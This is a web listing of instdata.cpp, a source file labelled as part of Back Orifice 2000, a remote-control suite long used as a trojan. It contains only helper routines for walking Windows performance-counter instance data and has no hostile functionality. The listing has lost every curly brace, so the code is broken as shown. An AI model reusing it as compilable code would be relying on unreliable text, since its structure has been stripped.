instdata.cpp
Upload User: jinandeyu
Upload Date: 2007-01-05
Package Size: 620k
Code Size: 3k
Category:

Remote Control

Development Platform:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include <windows.h> 
  16. #include <winperf.h> 
  17. #include "perfdata.h" 
  18.  
  19. // FirstInstance() - Returns pointer to the first instance of pObject type. 
  20. //                   If pObject is NULL then NULL is returned. 
  21.  
  22. PPERF_INSTANCE   FirstInstance (PPERF_OBJECT pObject) 
  23.     if (pObject) 
  24.         return (PPERF_INSTANCE)((PCHAR) pObject + pObject->DefinitionLength); 
  25.     else 
  26.         return NULL; 
  27.  
  28.  
  29. // NextInstance() - Returns pointer to the next instance following pInst. 
  30. //                  If pInst is the last instance, bogus data maybe returned. 
  31. //                  The caller should do the checking. 
  32. //                  If pInst is NULL, then NULL is returned. 
  33. PPERF_INSTANCE   NextInstance (PPERF_INSTANCE pInst) 
  34. PERF_COUNTER_BLOCK *pCounterBlock; 
  35.     if (pInst) 
  36.         pCounterBlock = (PERF_COUNTER_BLOCK *)((PCHAR) pInst + pInst->ByteLength); 
  37.         return (PPERF_INSTANCE)((PCHAR) pCounterBlock + pCounterBlock->ByteLength); 
  38.     else 
  39.         return NULL; 
  40.  
  41.  
  42.  
  43.  
  44. // FindInstanceN() - Returns the Nth instance of pObject type.  
  45. //                   If not found, NULL is returned.  0 <= N <= NumInstances. 
  46.  
  47. PPERF_INSTANCE FindInstanceN (PPERF_OBJECT pObject, DWORD N) 
  48. PPERF_INSTANCE pInst; 
  49. DWORD          i = 0; 
  50.     if (!pObject) 
  51.         return NULL; 
  52.     else if (N >= (DWORD)(pObject->NumInstances)) 
  53.         return NULL; 
  54.     else 
  55.         pInst = FirstInstance (pObject); 
  56.         while (i != N) 
  57.             pInst = NextInstance (pInst); 
  58.             i++; 
  59.         return pInst; 
  60.  
  61.  
  62.  
  63.  
  64. // FindInstanceParent() - Returns the pointer to an instance that is the parent of pInst. 
  65. //                        If pInst is NULL or the parent object is not found 
  66. //                        then NULL is returned. 
  67. PPERF_INSTANCE FindInstanceParent (PPERF_INSTANCE pInst, PPERF_DATA pData) 
  68. PPERF_OBJECT    pObject; 
  69.     if (!pInst) 
  70.         return NULL; 
  71.     else if (!(pObject = FindObject (pData, pInst->ParentObjectTitleIndex))) 
  72.         return NULL; 
  73.     else 
  74.         return FindInstanceN (pObject, pInst->ParentObjectInstance); 
  75.  
  76.  
  77. // InstanceName() - Returns the name of the pInst. 
  78. //                  If pInst is NULL then NULL is returned. 
  79. LPTSTR  InstanceName (PPERF_INSTANCE pInst) 
  80.     if (pInst) 
  81.         return (LPTSTR) ((PCHAR) pInst + pInst->NameOffset); 
  82.     else 
  83.         return NULL; 
  84.